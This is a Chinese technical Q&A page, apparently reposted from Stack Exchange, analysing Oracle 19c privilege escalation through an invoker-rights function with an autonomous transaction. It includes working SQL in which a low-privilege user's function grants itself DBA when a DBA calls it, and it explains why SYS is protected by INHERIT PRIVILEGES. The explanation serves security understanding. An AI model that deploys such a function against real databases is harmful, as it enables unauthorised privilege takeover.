You need to enable JavaScript to run this app.
优惠活动
大模型
产品
解决方案
定价
更多

Oracle 19c是否存在权限提升漏洞?两类实验相关疑问咨询

Oracle 19c权限提升实验分析

实验1:普通DBA用户AAA执行BBB函数导致BBB获DBA权限

实验步骤(SQL代码)

-- SYS用户操作
CREATE USER AAA IDENTIFIED BY 123456789;
CREATE USER BBB IDENTIFIED BY 123456789;
GRANT CREATE SESSION TO AAA;
GRANT CREATE SESSION TO BBB;
GRANT DBA TO AAA;

-- AAA用户操作
GRANT CREATE PROCEDURE TO BBB;

-- BBB用户操作
CREATE OR REPLACE FUNCTION GET_DBA RETURN VARCHAR 
    AUTHID CURRENT_USER IS
    PRAGMA AUTONOMOUS_TRANSACTION;
BEGIN
    EXECUTE IMMEDIATE 'GRANT DBA TO BBB';
    RETURN 'Granted'; 
EXCEPTION
    WHEN OTHERS THEN
        RETURN SQLERRM; 
END;
/
GRANT EXECUTE ON GET_DBA TO PUBLIC;

-- AAA用户操作
SELECT BBB.GET_DBA() FROM DUAL;

实验结果

AAA执行BBB的函数后,BBB权限被提升至DBA。

问题解答

  1. 安全性分析:
    此情况属于严重的数据库安全风险。低权限用户BBB仅拥有CREATE SESSION和CREATE PROCEDURE权限,却能借助普通DBA用户AAA的执行上下文,通过自治事务给自己授予最高权限DBA,完全突破了权限隔离的边界,可能导致数据泄露、篡改、系统破坏等恶性后果。

  2. 参考安全模型:

  • 最小权限原则(Least Privilege Principle):这是信息安全领域的核心模型之一,要求用户仅拥有完成工作所需的最低权限。实验中AAA被授予完整DBA权限,而实际仅需执行函数的权限,违反了该原则;同时BBB的权限被不当提升,也违背了最小权限的约束。
  • Oracle权限上下文模型:存储对象的AUTHID属性决定了执行时的权限上下文,AUTHID CURRENT_USER表示以调用者的权限执行。结合自治事务(PRAGMA AUTONOMOUS_TRANSACTION)的特性,导致调用者的高权限被滥用,这也是Oracle权限控制中需要重点防范的场景。

实验2:SYS用户执行BBB函数报错ORA-06598

实验场景

移除实验1中的AAA用户,改用Oracle自带的SYS用户作为DBA用户执行SELECT BBB.GET_DBA() FROM DUAL;,操作失败,报错ORA-06598: INHERIT PRIVILEGES权限不足。

问题解答

  1. 继承权限的含义:
    INHERIT PRIVILEGES是Oracle 12c及以后版本引入的权限,用于控制用户是否允许其他用户继承自己的权限来执行存储对象。当存储对象以AUTHID CURRENT_USER模式执行时,调用者需要被授予INHERIT PRIVILEGES ON <对象所有者>,或者对象所有者拥有INHERIT ANY PRIVILEGES系统权限,才能继承调用者的权限执行对象内的操作。

  2. 报错原因:
    SYS作为Oracle的最高特权用户,默认情况下不会向普通用户授予INHERIT PRIVILEGES ON SYS权限,也不会允许普通用户通过INHERIT ANY PRIVILEGES继承其权限。当SYS执行BBB的函数时,函数以AUTHID CURRENT_USER(即SYS的身份)执行,需要BBB拥有继承SYS权限的许可,但该许可不存在,因此触发ORA-06598错误。

  3. 是否属于安全漏洞:

  • 实验1的情况属于可利用的权限提升漏洞:普通DBA用户的权限未被有效限制,导致低权限用户可以通过构造带自治事务的存储对象滥用其权限,突破权限控制。
  • 实验2的情况不属于漏洞:这是Oracle针对特权用户(如SYS、SYSTEM)设计的安全防护机制,目的是防止普通用户借助特权用户的上下文提升权限,是预期的安全控制行为。

内容的提问来源于stack exchange,提问作者仰望星空

相关产品推荐
方舟 Agent Plan

超全模态模型 × Harness 升级,最新支持 Deepseek-V4.1-Flash、GLM-5.3 系列、Doubao-Seedream-5.0-pro、Kimi-K3 (部分), 限时 9.9 元起

最近更新时间:2026.06.15 15:12:39